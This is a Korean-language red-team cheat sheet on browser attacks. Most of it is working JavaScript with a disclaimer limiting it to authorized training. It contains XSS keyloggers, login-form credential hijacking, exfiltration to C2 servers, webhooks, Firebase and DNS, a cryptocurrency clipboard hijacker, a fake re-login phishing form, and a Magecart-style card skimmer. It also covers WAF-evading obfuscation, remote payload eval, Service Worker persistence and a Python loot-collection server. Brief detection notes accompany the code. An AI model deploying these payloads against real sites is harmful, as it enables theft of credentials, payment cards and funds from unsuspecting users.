🔴 레드팀: 브라우저 해킹 & 키클로거 치트시트 (Korean)

⚠️ 승인된 모의침투/레드팀 훈련 환경 전용. 무단 사용은 전기통신사업법/정보통신망법 위반.

1. XSS 기반 키클로거 (기본형)

1.1 이벤트 리스너 방식 (fetch → 공격자 수집 서버)

// 저장된 XSS 또는 Reflected XSS로 주입
document.addEventListener('keypress', e => {
  fetch('https://c2.example.com/collect', {
    method: 'POST',
    mode: 'no-cors',
    headers: {'Content-Type': 'text/plain'},
    body: JSON.stringify({
      k: e.key,
      url: location.href,
      ts: Date.now(),
      id: localStorage.getItem('session_user') || 'unknown'
    })
  });
});
탐지: CSP에서 connect-src 제한, DOM 감시(MutationObserver 기반 CSP 위반 리포트), fetch 목적지 모니터링

1.2 FormData 하이재킹 — 로그인 폼 제출 가로채기 (크리덴셜 복사)

// 원본 전송은 정상적으로 유지 → 피해자가 인지 못함
document.querySelectorAll('form').forEach(f => {
  f.addEventListener('submit', function() {
    const d = new FormData(f);
    const creds = {};
    for (const [k, v] of d.entries()) creds[k] = v;
    creds._page = location.href;
    navigator.sendBeacon('https://c2.example.com/creds',
      JSON.stringify(creds));  // 페이지 이탈에도 전송 보장
  }, true);  // capture phase로 우선 실행
});
sendBeacon은 page unload 이후에도 전송이 보장되어 키클로거 엑스필에 최적.

1.3 input 이벤트 + 버퍼링 (저소음, 배치 전송)

let buf = [];
document.addEventListener('input', e => {
  buf.push({f: e.target.name || e.target.id, v: e.target.value});
  if (buf.length >= 10) flush();
});
function flush() {
  if (!buf.length) return;
  const img = new Image();
  img.src = 'https://c2.example.com/pix?d=' + encodeURIComponent(btoa(JSON.stringify(buf)));
  buf = [];
}
window.addEventListener('beforeunload', flush);
이미지 GET 요청은 CSP img-src만 통과하면 되고, no-cors라 서버 로그가 단순해 은닉성↑. base64로 일차 난독화.

2. 페이로드 전달 방식 (C2 채널별)

채널장점제약
자체 C2 서버 (HTTP/HTTPS)완전 제어, 대용량도메인 노출, 인증서
DNS 엑스필방화벽 통과율 높음데이터량 작음
Discord/Slack Webhook인프라 불필요, 빠름도메인 평판(탐지 쉬움)
Firebase/Supabase정상 트래픽 위장계정 키 노출
FormSubmit/폼 메일 서비스공격자 이메일로 직배달서드파티 의존
localStorage 세컨드 스테이지오프라인 버퍼링같은 도메인 회수 필요

2.1 Discord/Slack Webhook C2

const WEBHOOK = 'https://discord.com/api/webhooks/XXXX/YYYY';
function exfil(tag, data) {
  fetch(WEBHOOK, {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
      username: 'rt-agent',
      content: '```[' + tag + '] ' + location.href + '\n' + data + '```'
    })
  });
}
// 사용: exfil('KEYS', buf.join(''));

2.2 공격자 이메일로 직접 수신 (FormSubmit)

// 사전에 formsubmit.co/attacker@redteam.local 로 첫 활성화 메일 필요
fetch('https://formsubmit.co/ajax/attacker@redteam.local', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({host: location.host, data: btoa(JSON.stringify(buf))})
});

2.3 Firebase Realtime DB C2 (정상 트래픽 위장)

// 타깃 사이트가 이미 Firebase를 쓰는 경우 특히 은닉적
const FB = 'https://redteam-rt123.firebaseio.com';
fetch(FB + '/logs.json', {
  method: 'POST',
  body: JSON.stringify({u: navigator.userAgent, d: buf, t: Date.now()})
});

2.4 DNS 엑스필 (짧은 데이터 — 토큰/쿠키)

function dnsExfil(data) {
  const chunks = btoa(data).match(/.{1,50}/g) || [];
  chunks.forEach((c, i) => {
    new Image().src = `http://${i}.${c}.c2.redteam-local.com/x.png`;
  });
}
// 수신 측: 권한 있는 DNS 서버 로그에서 서브도메인 파싱
// Wireshark 필터: dns.qry.name contains "c2.redteam-local"

3. 고급 브라우저 해킹 기법

3.1 클립보드 하이재킹 (암호화폐 지갑 주소 치환)

document.addEventListener('copy', e => {
  const sel = document.getSelection().toString();
  if (/^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$/.test(sel)) {
    e.clipboardData.setData('text/plain', 'bc1qATTACKER_WALLET_ADDRESS_xxx');
    e.preventDefault();
  }
});

3.2 로그인 폼 DOM 주입 (가짜 필드 + 원본 제출)

// SSO/OTP 필드 앞에 가짜 재인증 폼 삽입
const f = document.createElement('form');
f.innerHTML = `
  
세션이 만료되었습니다. 다시 로그인하세요:
`; f.addEventListener('submit', e => { e.preventDefault(); exfil('PHISH', JSON.stringify({ u: f.ph_user.value, p: f.ph_pass.value, r: document.referrer})); f.remove(); // 제출 후 제거 → 정상 사용 흐름 유지 }); document.body.appendChild(f);

3.3 서드파티 스크립트 공급망형 (Magecart 스타일 스키밍)

// 결제 페이지 스키머 — input 자동 분류
setInterval(() => {
  const out = {};
  document.querySelectorAll('input').forEach(i => {
    if (!i.value) return;
    if (/card/i.test(i.name + i.id + i.placeholder)) out.card = i.value;
    else if (/cvv|cvc/i.test(i.name + i.id)) out.cvv = i.value;
    else if (/exp/i.test(i.name + i.id)) out.exp = i.value;
    else if (i.type === 'password') out.pass = i.value;
  });
  if (Object.keys(out).length) exfil('SKIM', JSON.stringify(out));
}, 3000);
탐지: SRI(무결성 해시), CSP script-src 화이트리스트, 결제 페이지 외부 스크립트 변경 알림

3.4 Cookie/Token 수집

exfil('SESSION', JSON.stringify({
  cookies: document.cookie,
  ls: Object.fromEntries(Object.entries(localStorage)),
  ss: Object.fromEntries(Object.entries(sessionStorage))
}));
HttpOnly 쿠키는 JS로 접근 불가 — XSS로도 탈취 불가. 세션 하이재킹은 XSS-USO(사용자 자동 요청)로 서버 액션 수행하는 편이 확실.

3.5 크리덴셜 파일 복사 → C2 업로드 (브라우저 File API)

// 로컬 파일 접근 경로: 드래그앤드롭 또는 file input 조작
// (순수 브라우저 XSS만으로 임의 파일을 "몰래" 읽을 수 없음 — 훈련 시File API 데모)
function readFileInput(fileEl) {
  fileEl.addEventListener('change', e => {
    const f = e.target.files[0];
    if (!f) return;
    const r = new FileReader();
    r.onload = () => exfil('FILE:' + f.name, btoa(r.result.slice(0, 4096)));
    if (/\.txt$|\.csv$|\.json$|\.env$/.test(f.name)) r.readAsText(f);
  });
}

4. 난독화 & 회피

4.1 동적 함수 실행 + charCode 난독화

const _0x = String.fromCharCode;
// "fetch" 키워드가 WAF에 잡힐 때:
window[_0x(102,101,116,99,104)]('https://c2.example.com/c', {method:'POST', body: buf});

4.2 서브도메인 프런팅용 페이로드 분할 로드

// 페이로드를 외부 이미지 alt 속성 등에 숨겨 로드
fetch('https://cdn.redteam-cdn.com/pixel.gif')
  .then(r => r.text())
  .then(t => { eval(t); });  // GIF 위장 텍스트에 JS 은닉

4.3 Service Worker 지속성 (탭 닫혀도 유지)

navigator.serviceWorker.register('/sw.js').then(r => {
  console.log('persisted', r.scope);
});
// sw.js: fetch 이벤트 훅 → 모든 네트워크 응답에서 폼/토큰 관찰 가능
self.addEventListener('fetch', e => {
  e.request.clone().text().then(b => {
    if (b.length > 0 && /pass|token|auth/i.test(b))
      fetch('https://c2.example.com/net', {method:'POST', body: b});
  });
});
탐지: SW 등록 알림, sw.js 무결성 검사, 등록된 SW 목록 주기 감사

5. C2 수집 서버 (공격 인프라 측 — Python)

# receiver.py — 수신 전용 엔드포인트
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, datetime

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        ln = int(self.headers.get('Content-Length', 0))
        data = self.rfile.read(ln).decode()
        with open('loot.jsonl', 'a') as f:
            f.write(json.dumps({
                't': str(datetime.datetime.now()),
                'ip': self.client_address[0],
                'path': self.path, 'data': data}) + '\n')
        self.send_response(204); self.end_headers()
    def log_message(self, *a): pass  # 저소음

HTTPServer(('0.0.0.0', 8443), H).serve_forever()

6. 방어 측 탐지 요약 (블루팀 협의용)

위협핵심 탐지/대응
XSS 키클로거CSP connect-src 'self', 키 입력 이벤트 시 발생하는 아웃바운드 요청 모니터링
폼 하이재킹인라인 스크립트 차단, form 제출 훅 무결성 검사
스키머(공급망)SRI 해시 고정, 결제 페이지 서드파티 스크립트 화이트리스트
Service WorkerSW 등록 감사, sw.js 해시 변경 알림
Webhook/DNS 엑스필아웃바운드 필터링, DNS 쿼리 길이/빈도 이상탐지
클립보드 하이재킹clipboard 이벤트 리스너 등록 사이트 감사
📋 레드팀 보고서 작성 시 필수 항목: 페이로드 주입 지점(Reflected/Stored/DOM), 사용한 C2 채널, 엑스필 데이터 볼륨, 탐지 여부(Blue Team 통과/미탐), 권고 조치(CSP/SRI/WAF 규칙).